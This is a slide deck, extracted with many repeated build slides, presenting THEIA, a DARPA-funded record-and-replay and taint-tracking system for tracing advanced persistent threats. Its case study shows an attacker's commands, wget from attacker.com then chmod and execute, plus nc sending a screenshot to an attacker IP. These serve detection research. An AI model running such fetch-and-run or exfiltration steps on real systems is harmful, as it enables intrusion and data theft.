DARPA/I2O
Transparent Computing Program

THEIA: Tagging and Tracking of Multi-Level Host Events for Transparent Computing and Information Assurance

Mattia Fazzini
Georgia Institute of Technology

Nov 3rd, 2017
Agenda

• Project overview
• Technical discussion
  – THEIA-Panda
  – THEIA-KI
• Future work
Project Team

PI

Wenke Lee
Project Team

PI
Wenke Lee

Co-PI
Simon Chung

Co-PI
Taesoo Kim

Co-PI
Alessandro Orso
Project Team

PI
Wenke Lee

Co-PI
Simon Chung

Co-PI
Taesoo Kim

Co-PI
Alessandro Orso

GTRI
Trent Brunson
Project Team

PI
Wenke Lee

Co-PI
Simon Chung

Co-PI
Taesoo Kim

Co-PI
Alessandro Orso

GTRI
Trent Brunson

Postdoc
Sangho Lee
Data Breaches

Equifax

Sony

Yahoo!

LinkedIn
Data Breaches Trend
THEIA

• **Objective:**
  – Tagging and tracking of multi-level host events for detection of advanced persistent threats (APTs)

• **Efficiency:**
  – Decouple analyses from runtime through record and replay

• **Transparency:**
  – **OS level**
    • Establish causality relationship between system operations
  – **Program level**
    • Identify relations between program instructions
  – **UI level**
    • Capture user’s intent to provide ground truth of intended behavior
• **Objective:**
  – Tagging and tracking of multi-level host events for detection of advanced persistent threats (APTs)

• **Efficiency:**
  – Decouple analyses from runtime through record and replay

• **Transparency:**
  – **OS level**
    • Establish causality relationship between system operations
  – **Program level**
    • Identify relations between program instructions
  – **UI level**
    • Capture user’s intent to provide ground truth of intended behavior
• **Objective:**
  – Tagging and tracking of multi-level host events for detection of advanced persistent threats (APTs)

• **Efficiency:**
  – Decouple analyses from runtime through record and replay

• **Transparency:**
  – **OS level**
    • Establish causality relationship between system operations
  – **Program level**
    • Identify relations between program instructions
  – **UI level**
    • Capture user’s intent to provide ground truth of intended behavior
Advanced Persistent Threats (APTs)

• Definition:
  – Advanced persistent threats (APTs) take place over a long period of time and can blend in with normal user and program activities
• Definition:
  - Advanced persistent threats (APTs) take place over a long period of time and can blend in with normal user and program activities.
Advanced Persistent Threats (APTs)

- **Definition:**
  - Advanced persistent threats (APTs) take place over a long period of time and can blend in with normal user and program activities.
Advanced Persistent Threats (APTs)

- **Definition:**
  - Advanced persistent threats (APTs) take place over a long period of time and can blend in with normal user and program activities.
Advanced Persistent Threats (APTs)

• **Definition:**
  - Advanced persistent threats (APTs) take place over a long period of time and can blend in with normal user and program activities.
DARPA Transparent Computing

Tagging and Tracking

- TA1 THEIA
- TA1...
- TA1

Storage

- TA3

Forensics

- TA2
- TA2
- TA2

Adversarial Scenario

- TA4

Malware

- TA5
DARPA Transparent Computing

Tagging and Tracking

- TA1 THEIA
- TA1...
- TA1

Storage

- TA3

Forensics

- TA2
- TA2
- TA2

Adversarial Scenario

- TA4

Malware

- TA5
DARPA Transparent Computing

Tagging and Tracking
- TA1 THEIA
- TA1...
- TA1

Storage
- TA3

Forensics
- TA2
- TA2
- TA2

Adversarial Scenario
- TA4

Malware
- TA5
THEIA-Panda Overview

Host

THEIA-Panda

Guest

Fine-grained Taint Analysis

Record

Replay

Storage

System Call Information

Coarse-grained Taint Analysis

Process Information

Action History Graph

Real-time

On-demand

FA
THEIA-Panda Overview

Host

THEIA-Panda

Guest

- Fine-grained Taint Analysis
- Record → Replay
- Storage
- Coarse-grained Taint Analysis
- System Call Information
- Process Information
- Action History Graph

Real-time
On-demand
FA
THEIA-Panda Overview

Host

THEIA-Panda

Guest

Fine-grained Taint Analysis

Record → Replay

Storage

System Call Information

Coarse-grained Taint Analysis

Action History Graph

Process Information

Real-time
On-demand

FA
THEIA-Panda Overview

Host

THEIA-Panda

Guest

Fine-grained Taint Analysis

Record → Replay

System Call Information

Process Information

Coarse-grained Taint Analysis

Action History Graph

Storage

Real-time

On-demand

FA
THEIA-Panda Overview

Host

THEIA-Panda

Guest

- Fine-grained Taint Analysis
- Record
- Replay
- System Call Information
- Process Information
- Action History Graph
- Coarse-grained Taint Analysis
- Storage

Real-time
On-demand

FA
THEIA-Panda Overview

**Host**

**THEIA-Panda**

**Guest**

- Fine-grained Taint Analysis
- Record
- Replay
- System Call Information
- Process Information
- Coarse-grained Taint Analysis
- Action History Graph
- Storage

Real-time
On-demand

FA
THEIA-Panda Overview

THEIA-Panda

Host

Guest

Fine-grained Taint Analysis

Record → Replay

System Call Information

Process Information

Coarse-grained Taint Analysis

Action History Graph

Storage

Real-time

On-demand

FA
Record and Replay

• **Record:**
  – Take a snapshot of the machine state
  – Log non-deterministic inputs
    • Data entering CPU on port input
    • Hardware interrupts and their parameters
    • Data written to RAM during direct memory operation from peripheral

• **Replay:**
  – Replay activity (data) starting from snapshot of machine state

• **Implementation:**
  – QEMU/PANDA* and 64-bit Linux Guest

*B. Dolan-Gavitt, J. Hodosh, P. Hulin, T. Leek, R. Whelan. Repeatable Reverse Engineering with PANDA. 5th Program Protection and Reverse Engineering Workshop, Los Angeles, California, December 2015*
Record and Replay

• **Record:**
  – Take a snapshot of the machine state
  – Log non-deterministic inputs
    • Data entering CPU on port input
    • Hardware interrupts and their parameters
    • Data written to RAM during direct memory operation from peripheral

• **Replay:**
  – Replay activity (data) starting from snapshot of machine state

• **Implementation:**
  – QEMU/PANDA* and 64-bit Linux Guest

---

*B. Dolan-Gavitt, J. Hodosh, P. Hulin, T. Leek, R. Whelan. *Repeatable Reverse Engineering with PANDA*. 5th Program Protection and Reverse Engineering Workshop, Los Angeles, California, December 2015*
Record and Replay

• **Record:**
  – Take a snapshot of the machine state
  – Log non-deterministic inputs
    • Data entering CPU on port input
    • Hardware interrupts and their parameters
    • Data written to RAM during direct memory operation from peripheral

• **Replay:**
  – Replay activity (data) starting from snapshot of machine state

• **Implementation:**
  – QEMU/PANDA* and 64-bit Linux Guest

*B. Dolan-Gavitt, J. Hodosh, P. Hulin, T. Leek, R. Whelan. *Repeatable Reverse Engineering with PANDA*. 5th Program Protection and Reverse Engineering Workshop, Los Angeles, California, December 2015
```c
static ssize_t
e1000_receive(VLANClientState *nc, const uint8_t *buf, size_t size)
{
    ...
    do {
        ...
        pci_dma_write(&s->dev, le64_to_cpu(desc.buffer_addr), (void *)(buf + desc_offset + vlan_offset), copy_size);
        rr_record_handle_packet_call(RR_CALLSITE_E1000_RECEIVE_2, (void *)(buf + desc_offset + vlan_offset), copy_size, NET_TRANSFER_IOB_TO_RAM)
        ...
    } while (desc_offset < total_size);
    ...
}
```
static ssize_t e1000_receive(VLANClientState *nc, const uint8_t *buf, size_t size)
{
    ...
    do {
        ...
        pci_dma_write(&s->dev, le64_to_cpu(desc.buffer_addr), (void *)(buf + desc_offset + vlan_offset), copy_size);
        rr_record_handle_packet_call(              
            RR_CALLSITE_E1000_RECEIVE_2, (void *)(buf + desc_offset + vlan_offset),
            copy_size, NET_TRANSFER_IOB_TO_RAM)
        ...
    } while (desc_offset < total_size);
    ...
}
Record and Replay Implementation

Example

```c
static ssize_t e1000_receive(VLANClientState *nc, const uint8_t *buf, size_t size)
{
    ...
    do {
        ...
        pci_dma_write(&s->dev, le64_to_cpu(desc.buffer_addr), (void *)(buf + desc_offset + vlan_offset), copy_size);
        rr_record_handle_packet_call(RR_CALLSITE_E1000.Receive_2, (void *)(buf + desc_offset + vlan_offset), copy_size, NET_TRANSFER_IOB_TO_RAM);
        ...
    } while (desc_offset < total_size);
    ...
}
```
OS-level Transparency

• **Goal:**
  – Capture events and dependencies of OS-level events

• **Approach:**
  – Based on VM introspection

• **Events analyzed:**
  – **Process operations:**
    • clone, fork, execve, exit, etc.
  – **File operations:**
    • open, read, write, unlink, etc.
  – **Network operations:**
    • socket, connect, recvmsg, etc.
  – **Memory operations:**
    • mmap, mprotect, shmget, etc.
OS-level Transparency

• **Goal:**
  – Capture events and dependencies of OS-level events

• **Approach:**
  – Based on VM introspection

• **Events analyzed:**
  – **Process operations:**
    • clone, fork, execve, exit, etc.
  – **File operations:**
    • open, read, write, unlink, etc.
  – **Network operations:**
    • socket, connect, recvmsg, etc.
  – **Memory operations:**
    • mmap, mprotect, shmget, etc.
OS-level Transparency

- **Goal:**
  - Capture events and dependencies of OS-level events

- **Approach:**
  - Based on VM introspection

- **Events analyzed:**
  - **Process operations:**
    - clone, fork, execve, exit, etc.
  - **File operations:**
    - open, read, write, unlink, etc.
  - **Network operations:**
    - socket, connect, recvmsg, etc.
  - **Memory operations:**
    - mmap, mprotect, shmget, etc.
ifdef TARGET_X86_64
void helper_syscall(int next_eip_addend
{
    panda_cb_list *plist;
    for(plist = panda_cbs[PANDA_CB_BEFORE_SYSCALL];
        plist != NULL; plist = panda_cb_list_next(plist))
    {
        plist->entry.before_syscall(env);
    }
...
}
#ifdef TARGET_X86_64
void helper_syscall(int next_eip_addend
{

   panda_cb_list *plist;
   for(plist = panda_cbs[PANDA_CB_BEFORE_SYSCALL];
   plist != NULL; plist = panda_cb_list_next(plist))
   {
       plist->entry.before_syscall(env);
   }

   ...
```c
#ifdef TARGET_X86_64
void helper_syscall(int next_eip_addend
{
    panda_cb_list *plist;
    for(plist = panda_cbs[PANDA_CB_BEFORE_SYSCALL];
        plist != NULL; plist = panda_cb_list_next(plist))
    {
        plist->entry.before_syscall(env);
    }
...

}```
Action History Graph (AHG)

• **Goal:**
  – Represent causality across events

• **Causality:**
  – Process->Process (e.g., fork)
  – Process->File (e.g., write)
  – File->Process (e.g., read)
  – Process->Host (e.g., send)
  – Host->Process (e.g., recv)
Action History Graph (AHG)

• Goal:
  – Represent causality across events

• Causality:
  – Process->Process (e.g., fork)
  – Process->File (e.g., write)
  – File->Process (e.g., read)
  – Process->Host (e.g., send)
  – Host->Process (e.g., recv)
Action History Graph (AHG)

- **Goal:**
  - Represent causality across events

- **Causality:**
  - Process->Process (e.g., fork)
  - Process->File (e.g., write)
  - File->Process (e.g., read)
  - Process->Host (e.g., send)
  - Host->Process (e.g., recv)
Action History Graph Example
Coarse-grained Taint Analysis

• **Goal:**
  – Quickly capture the provenance of objects in the AHG

• **Working mechanism:**
  – Runs while building AHG
  – Processes have a provenance set
  – Process operations:
    • fork, clone: copy provenance of parent to child process
  – File and network operations
    • read, recv: associate provenance of object to process
    • write, send: associate provenance of process to object
Coarse-grained Taint Analysis

• **Goal:**
  – Quickly capture the provenance of objects in the AHG

• **Working mechanism:**
  – Runs while building AHG
  – Processes have a provenance set
  – Process operations:
    • fork, clone: copy provenance of parent to child process
  – File and network operations
    • read, recv: associate provenance of object to process
    • write, send: associate provenance of process to object
Coarse-grained Taint Analysis

• **Goal:**
  – Quickly capture the provenance of objects in the AHG

• **Working mechanism:**
  – Runs while building AHG
  – Processes have a provenance set
  – Process operations:
    • fork, clone: copy provenance of parent to child process
  – File and network operations
    • read, recv: associate provenance of object to process
    • write, send: associate provenance of process to object
Fine-grained Taint Analysis

• Goal:
  – Accurately capture provenance of objects in the AHG

• Working mechanism:
  – Decoupled from program execution
  – Instruction level propagation
  – Taint tags at byte level granularity

• Optimizations:
  – Trace-based dynamic taint analysis
Fine-grained Taint Analysis

• **Goal:**
  – Accurately capture provenance of objects in the AHG

• **Working mechanism:**
  – Decoupled from program execution
  – Instruction level propagation
  – Taint tags at byte level granularity

• **Optimizations:**
  – Trace-based dynamic taint analysis
Fine-grained Taint Analysis

• Goal:
  – Accurately capture provenance of objects in the AHG

• Working mechanism:
  – Decoupled from program execution
  – Instruction level propagation
  – Taint tags at byte level granularity

• Optimizations:
  – Trace-based dynamic taint analysis
Fine-grained Taint Analysis Implementation

Guest Basic Block

push %ebp
mov %esp,%ebp
not %eax
add %eax,%edx
mov %edx,%eax
xor $0x55555555,%eax
push %ebp
ret
pop %ebp

TCG Basic Block

ld i32 tmp2,env,80x10
qemu ld i32 0x4tmp0,tmp2,80x10
ld i32 tmp4,env,80x10
movi i32 tmp14,$0x1
add i32 tmp4,tmp4,tmp14
movi i32 tmp14,$0x1
add i32 tmp0,tmp0,tmp14
movi i32 or_sp,$0x18
exit_th $0x0

LLVM Basic Block

%multmp = fma
    double %a, %a
%multmp1 = fma:
    double 2.000000e+05, %a
%multmp2 = mul:
    double %multmp1, %b
%addtmp = fadd:
    double %multmp, %multmp2
%multmp3 = fadd:
    double %addtmp, %multmp3
set double %addtmp4
Fine-grained Taint Analysis Implementation

Guest Basic Block

```
push %ebp
mov %esp, %ebp
not %eax
add %eax, %edx
mov %edx, %eax
xor $0x55555555, %eax
push %ebp
ret
pop %ebp
```

TCG Basic Block

```
ld i32 tmp2, env, $0x10
quadr ld32 tmp0, tmp2, $0xffffffff
ld i32 tmp4, env, $0x10
movi i32 tmp14, $0x1
add i32 tmp4, tmp4, tmp14
st i32 tmp4, env, $0x10
st_i32 tmp6, env, $0x20
movi_i32 cr0_sp, $0x18
exit_th $0x0
```

LLVM Basic Block

```
%multmp = fma
  double %a, %a
%multmp1 = fma:
  double 2.000000e+00, %a
%multmp2 = mul:
  double %multmp1, %b
%addtmp = fadd:
  double %multmp, %multmp2
%multmp3 = fmul:
  double %a, %b
%addtmp4 = fadd:
  double %addtmp, %multmp3
set double %addtmp4
```
Fine-grained Taint Analysis Implementation

Guest Basic Block

TCG Basic Block

LLVM Basic Block

```
push %ebp
mov %esp,%ebp
not %eax
add %eax,%edx
mov %edx,%eax
xor $0x55555555,%eax
push %ebp
ret
pop %ebp

ld i32 tmp2,env,80x10
qemu ld32 tmp0,tmp2,80x11111111
ld i32 tmp4,env,80x10
movi i32 tmp14,$0x1
add i32 tmp4,tmp4,tmp14
st i32 tmp4,env,80x10
st_i32 tmp6,env,80x20
movi i32 or_op,$0x18
exit th $0x0
```

```
%multmp = fmul'
double %a, %a
%multmp1 = fmul:
double 2.000000e+05, %a
%multmp2 = mul:
double %multmp1, %b
%addtmp = fadd:
double %multmp, %multmp2
%multmp3 = fadd:
double %addtmp, %multmp3
set double %addtmp4
```
Fine-grained Taint Analysis Implementation

Guest Basic Block

```
push %ebp
mov %esp, %ebp
not %eax
add %eax, %edx
mov %edx, %eax
xor $0x25555555, %eax
push %ebp
ret
pop %ebp
```

TCG Basic Block

```
ld i32 tmp2, env, $0x10
qemu ld32i tmp0, tmp2, $0x1fffffff
ld i32 tmp4, env, $0x10
movi i32 tmp14, $0x1
add i32 tmp4, tmp4, tmp14
add i32 tmp2, tmp4, tmp14
st i32 tmp4, env, $0x10
st i32 tmp0, env, $0x20
movi i32 or_op, $0x18
exit th $0x0
```

LLVM Basic Block

```
%multmp = fma4
  double %a, %a
%multmp1 = fmul
  double 2.0000000000e+00, %a
%multmp2 = mul
  double %multmp1, %b
%addtmp = fadd
  double %multmp, %multmp2
%multmp3 = fmul
  double %b, %b
%addtmp4 = fadd
  double %addtmp, %multmp3
set double %addtmp4
```
Trace-based Taint Analysis

• **Objective:**
  – Improve performance of fine-grained taint analysis

• **Key intuition:**
  – Within a trace instruction sequences are executed multiple times

• **Working mechanism:**
  – Based on the execution trace of the system/program
  – Computes taint summaries for sequences of instructions
  – Re-use taint summaries on the trace and possible across traces

• **Implementation:**
  – *Sequitur algorithm:* recognizes a lexical structure in an execution trace and generates a grammar where terminals are instructions
  – Analyze grammar and reuse taint results when possible
Trace-based Taint Analysis

• **Objective:**
  – Improve performance of fine-grained taint analysis

• **Key intuition:**
  – Within a trace instruction sequences are executed multiple times

• **Working mechanism:**
  – Based on the execution trace of the system/program
  – Computes taint summaries for sequences of instructions
  – Re-use taint summaries on the trace and possible across traces

• **Implementation:**
  – *Sequitur algorithm*: recognizes a lexical structure in an execution trace and generates a grammar where terminals are instructions
  – Analyze grammar and reuse taint results when possible
Trace-based Taint Analysis

• **Objective:**
  – Improve performance of fine-grained taint analysis

• **Key intuition:**
  – Within a trace instruction sequences are executed multiple times

• **Working mechanism:**
  – Based on the execution trace of the system/program
  – Computes taint summaries for sequences of instructions
  – Re-use taint summaries on the trace and possible across traces

• **Implementation:**
  – *Sequitur algorithm:* recognizes a lexical structure in an execution trace and generates a grammar where terminals are instructions
  – Analyze grammar and reuse taint results when possible
Trace-based Taint Analysis Example

Execution Trace

```
...mov qword ptr [r12+rax*8], rdx
jmp 0x7f8c47a21b13
add rdx, 0x10
mov rax, qword ptr [rdx]
test rax, rax
jz 0x7f8c47a21b52
476
8
add rdx, 0x10
jz 0x7f8c47a21b52
43
mov rax, qword ptr [rdx]
test rax, rax
...```

Grammar

```
9
jump 0x7f8c47a21b13
...```
Trace-based Taint Analysis Example

Execution Trace

```
...  
mov qword ptr [r12+rax*8], rdx  
jmp 0x7f8c47a21b13  
add rdx, 0x10  
mov rax, qword ptr [rdx]  
test rax, rax  
jz 0x7f8c47a21b52  
cmp rax, 0x21  
jbe 0x7f8c47a21b08  
lea rcx, ptr [rip+0x21ef29]  
...
```

Grammar

```
mov qword ptr [r12+rax*8], rdx  
jump 0x7f8c47a21b13  
jz 0x7f8c47a21b52  
add rdx, 0x10  
.mov rax, qword ptr [rdx]
```
Fine-grained Taint Analysis

Taint Computation Reuse Box Plot

Percentage Reuse

Subjects

grep  flex  gzip  sad  replace  printtokens
Fine-grained Taint Analysis
Case Study Overview

1. Victim visits malicious webpage

http://www.malicious.com

2. Attacker obtains shell and executes sequence of commands to download and execute program (screengrab)

3. Screengrab takes a screenshot of the victim’s computer

$ wget attacker.com/screengrab
$ chmod +x screengrab
$ ./screengrab

4. Screenshot is sent to attacker’s server
Case Study Overview

1. Victim visits malicious webpage

http://www.malicious.com

2. Attacker obtains shell and executes sequence of commands to download and execute program (screengrab)

3. Screengrab takes a screenshot of the victim’s computer

4. Screenshot is sent to attacker’s server

$ wget attacker.com/screengrab
$ chmod +x screengrab
$ ./screengrab
Case Study Overview

1. Victim visits malicious webpage: http://www.malicious.com

2. Attacker obtains shell and executes sequence of commands to download and execute program (screengrab):
   - $ wget attacker.com/screengrab
   - $ chmod +x screengrab
   - $ ./screengrab

3. Screengrab takes a screenshot of the victim’s computer.

4. Screenshot is sent to attacker’s server.
Case Study Overview

1. Victim visits malicious webpage

http://www.malicious.com

ATTACKER

2. Attacker obtains shell and executes sequence of commands to download and execute program (screengrab)

2. $ wget attacker.com/screengrab
   $ chmod +x screengrab
   $ ./screengrab

VICTIM

3. Screengrab takes a screenshot of the victim’s computer

4. Screenshot is sent to attacker’s server

VICTIM
Case Study Overview

1. Victim visits malicious webpage

2. Attacker obtains shell and executes sequence of commands to download and execute program (screengrab)

$ wget attacker.com/screengrab
$ chmod +x screengrab
$ ./screengrab

4. Screenshot is sent to attacker’s server
Case Study and AHG

- Process
- Event
- File
- Network
- Tag
- Causality
Case Study and AHG

Process
Event
File
Network
Tag
Causality
Case Study and AHG Step 1

1) Victim starts Firefox

```
bash
execute
firefox
```
2) Victim visits malicious.com (143.215.130.204) that runs shell process
3) Attacker downloads and executes screen grab

- Attacker downloads
- Attacker executes
- Screen grab
- Write
- Recv msg
- X0
- S.png

### Network Activity

- 143.215.130.204

### Command Execution

- `wget`
- `recv`
- `write`
- `screen grab`
4) Screenshot is sent to attacker’s server

- Process
- Event
- File
- Network
- Tag

Diagram:
- `sh` → `execute` → `nc` → `read` → `s.png`
- `nc` → `write` → `143.215.130.204`
Case Study and Coarse-grained Taint Analysis.

Coarse Taint Set

- wget
  - read
    - libssl.so
  - read
    - libc.so
  - read
    - wgetrc
  - recv from
  - write
  - screen grab
  - 143.215.130.204
Case Study and Coarse-grained Taint Analysis.

Diagram showing interactions and taint paths involving processes, events, files, and networks. Key elements include:
- wget
- read
- libssl.so
- libc.so
- wgetrc
-recv from
- write
- screen grab
- 143.215.130.204
- CT1
Case Study and Coarse-grained Taint Analysis.
Case Study and Coarse-grained Taint Analysis.

Coarse Taint Set

143.215.130.204
Case Study and Coarse-grained Taint Analysis.

Coarse Taint Set

- wget
- read
- libssl.so
- libc.so
- wgetrc
- recv from
- write
- screen grab
- 143.215.130.204
- CT1
- CT2
Case Study and Coarse-grained Taint Analysis.

Coarse Taint Set

- `sh -> execute`
- `wget` (Coarse Taint Set: CT1, CT2)
- `recv from screen grab`
- `recv from wgetrc`
- `recv from 143.215.130.204`
- `write` to `screen grab`
Case Study and Coarse-grained Taint Analysis.

Diagram:

- Process (circle)
- Event (square)
- File (pentagon)
- Network (diamond)
- Tag (octagon)

Coarse Taint Set:

- CT1
- CT2
- CT3

Processes and Events:

- wget
- execute
- read
- recv
- write
- screen grab
- 143.215.130.204
Case Study and Coarse-grained Taint Analysis.

Coarse Taint Set

```
sh → execute

wget → read (libssl.so)

wget → read (libc.so)

wget → read (wgetrc)

recv from screen → send msg

recv from 143.215.130.204

write

screen grab
```
Case Study and Coarse-grained Taint Analysis.

Coarse Taint Set

CT1
CT2
CT3
CT4

Process
Event
File
Network
Tag

sh ➔ execute ➔ wget ➔ read

libssl.so

libc.so

wgetrc

recv from

screen grab

write

143.215.130.204
Case Study and Coarse-grained Taint Analysis.

Diagram showing the process flow and taint analysis with nodes representing processes, events, files, networks, and tags. The diagram includes nodes labeled 'wget', 'read', 'libssl.so', 'libc.so', 'wgetrc', 'recv', 'write', 'screen grab', and IP address '143.215.130.204'. The diagram also indicates coarse taint sets CT1, CT2, CT3, CT4, and CT5.
Case Study and Fine-grained Taint Analysis

Diagram showing processes and events related to file and network activity.

- Process icons: o
- Event icons: □
- File icons: △
- Network icons: ◻
- Tag icons: ◻

Key actions:
- `wget` commands
- `screen` commands
- File access (`read`, `write`)
- Network communication (`recv` from `143.215.130.204`)
- Library use (`libssl.so`, `libc.so`, `wgetrc`)
Case Study and Fine-grained Taint Analysis
Case Study and Fine-grained Taint Analysis

```
sh
```

```
wget
```

```
recv
```

```
write
```

```
libssl.so
```

```
libc.so
```

```
wgetrc
```

```
143.215.130.204
```

```
screen grab
```

```
FT1
```

```
FT2
```
Case Study and Fine-grained Taint Analysis

```
sh
execute
wget
read
libssl.so
FT1
read
libc.so
FT2
read
wgetrc
FT3
recv from
143.215.130.204
write
screen grab
```
Case Study and Fine-grained Taint Analysis

Process Event File Network Tag

- wget
  - execute
    - read
      - libssl.so
      - FT1
    - read
      - libc.so
      - FT2
    - read
      - wgetrc
      - FT3
    - recv from
      - 143.215.130.204
      - FT4
    - write
      - screen grab
      - FT5
# THEIA-Panda Overheads

<table>
<thead>
<tr>
<th>TIME</th>
<th>Bare Exec Time</th>
<th>KVM Exec Time</th>
<th>QEMU Exec Time</th>
<th>Record Exec Time</th>
<th>Replay Exec Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bare Exec Time</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>KVM Exec Time</td>
<td></td>
<td>2.09 x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>QEMU Exec Time</td>
<td>6.19 x</td>
<td>2.96 x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Record Exec Time</td>
<td>7.75 x</td>
<td>3.71 x</td>
<td>1.25 x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Replay Exec Time</td>
<td>13.82 x</td>
<td>6.62 x</td>
<td>2.23 x</td>
<td>1.78 x</td>
<td></td>
</tr>
</tbody>
</table>

• *Fine grained taint analysis:*
  – ~40x to ~300x compared to bare execution

• *Space overhead:*
  – ~86 GB/day non det log data + ~1.3GB/day graph data
THEIA-Panda Overheads

<table>
<thead>
<tr>
<th>TIME</th>
<th>Bare Exec Time</th>
<th>KVM Exec Time</th>
<th>QEMU Exec Time</th>
<th>Record Exec Time</th>
<th>Replay Exec Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bare Exec Time</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>KVM Exec Time</td>
<td>2.09 x</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>QEMU Exec Time</td>
<td>6.19 x</td>
<td>2.96 x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Record Exec Time</td>
<td>7.75 x</td>
<td>3.71 x</td>
<td>1.25 x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Replay Exec Time</td>
<td>13.82 x</td>
<td>6.62 x</td>
<td>2.23 x</td>
<td>1.78 x</td>
<td></td>
</tr>
</tbody>
</table>

- Fine grained taint analysis:
  - ~40x to ~300x compared to bare execution

- Space overhead:
  - ~86 GB/day non det log data + ~1.3GB/day graph data
## THEIA-Panda Overheads

<table>
<thead>
<tr>
<th>TIME</th>
<th>Bare Exec Time</th>
<th>KVM Exec Time</th>
<th>QEMU Exec Time</th>
<th>Record Exec Time</th>
<th>Replay Exec Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bare Exec Time</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>KVM Exec Time</td>
<td></td>
<td>2.09 x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>QEMU Exec Time</td>
<td>6.19 x</td>
<td>2.96 x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Record Exec Time</td>
<td>7.75 x</td>
<td>3.71 x</td>
<td>1.25 x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Replay Exec Time</td>
<td>13.82 x</td>
<td>6.62 x</td>
<td>2.23 x</td>
<td>1.78 x</td>
<td></td>
</tr>
</tbody>
</table>

- **Fine grained taint analysis:**
  - ~40x to ~300x compared to bare execution

- **Space overhead:**
  - ~86 GB/day non det log data + ~1.3GB/day graph data
THEIA-Panda Overheads

<table>
<thead>
<tr>
<th>TIME</th>
<th>Bare Exec Time</th>
<th>KVM Exec Time</th>
<th>QEMU Exec Time</th>
<th>Record Exec Time</th>
<th>Replay Exec Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bare Exec Time</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>KVM Exec Time</td>
<td>2.09 x</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>QEMU Exec Time</td>
<td>6.19 x</td>
<td>2.96 x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Record Exec Time</td>
<td>7.75 x</td>
<td>3.71 x</td>
<td>1.25 x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Replay Exec Time</td>
<td>13.82 x</td>
<td>6.62 x</td>
<td>2.23 x</td>
<td>1.78 x</td>
<td></td>
</tr>
</tbody>
</table>

- Fine grained taint analysis:
  - ~40x to ~300x compared to bare execution

- Space overhead:
  - ~86 GB/day non det log data + ~1.3GB/day graph data
# THEIA-Panda Overheads

<table>
<thead>
<tr>
<th>TIME</th>
<th>Bare Exec Time</th>
<th>KVM Exec Time</th>
<th>QEMU Exec Time</th>
<th>Record Exec Time</th>
<th>Replay Exec Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bare Exec Time</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>KVM Exec Time</td>
<td>2.09 x</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>QEMU Exec Time</td>
<td>6.19 x</td>
<td>2.96 x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Record Exec Time</td>
<td>7.75 x</td>
<td>3.71 x</td>
<td>1.25 x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Replay Exec Time</td>
<td>13.82 x</td>
<td>6.62 x</td>
<td>2.23 x</td>
<td>1.78 x</td>
<td></td>
</tr>
</tbody>
</table>

- **Fine grained taint analysis:**
  - ~40x to ~300x compared to bare execution

- **Space overhead:**
  - ~86 GB/day non det log data + ~1.3GB/day graph data
THEIA-Panda Observations

-Granularity

THEIA-Panda

(THEIA
(2016/2017)

Goal
(2019)

THEIA
(2016/2017)

Efficiency
THEIA-KI Overview

**THEIA-KI** Overview

- **THEIA-KI + OS**
  - Record
  - System Call Information
  - Process Information

**THEIA-KI-Analysis**

- Query Interface
- Replay
- Fine-grained Taint Analysis
- Storage
- Action History Graph

**THEIA-KI-Analysis**

- Real-time
- On-demand

**FA**
THEIA-KI Overview

THEIA-KI Analysis
- Fine-grained Taint Analysis
- Real-time
- On-demand

Query Interface
- Replay
- System Call Information
- Process Information

Record

Storage

Action History Graph

THEIA-KI + OS
- System Call Information
- Process Information
THEIA-KI Overview

THEIA-KI + OS
- Record
  - System Call Information
  - Process Information

THEIA-KI-Analysis
- Query Interface
  - Replay
    - Fine-grained Taint Analysis
      - Action History Graph

FA
- Real-time
- On-demand
THEIA-KI Overview

THEIA-KI + OS
  Record
  System Call Information
  Process Information

Query Interface
  Replay
  Fine-grained Taint Analysis
  Storage

Action History Graph

THEIA-KI-Analysis

FA

Real-time
On-demand
THEIA-KI Overview

- THEIA-KI
  - +
  - OS
    - Record
    - System Call Information
    - Process Information

- THEIA-KI-Analysis
  - Query Interface
  - Replay
  - Fine-grained Taint Analysis
  - Action History Graph
  - Storage

- FA

- Real-time
- On-demand
THEIA-KI Overview

THEIA-KI Overview

THEIA-KI + OS

Record

System Call Information

Process Information

Query Interface

Replay

Fine-grained Taint Analysis

Storage

Action History Graph

Real-time

On-demand

FA
THEIA-KI

• **Key features:**
  – Record/replay
    • Kernel-based instrumentation
  – Instruction level replay of the user space
    • On top of Intel PIN
  – Coarse-grained causality
    • From system instrumentation and logging
  – Fine-grained causality
    • From dynamic taint tracking

• **Threat model:**
  – Kernel is trusted
• **Key features:**
  – Record/replay
    • Kernel-based instrumentation
  – Instruction level replay of the user space
    • On top of Intel PIN
  – Coarse-grained causality
    • From system instrumentation and logging
  – Fine-grained causality
    • From dynamic taint tracking

• **Threat model:**
  – Kernel is trusted
THEIA-KI

- **Key features:**
  - Record/replay
    - Kernel-based instrumentation
  - Instruction level replay of the user space
    - On top of Intel PIN
  - Coarse-grained causality
    - From system instrumentation and logging
  - Fine-grained causality
    - From dynamic taint tracking

- **Threat model:**
  - Kernel is trusted
Record and Replay

- **Record:**
  - Kernel instrumentation
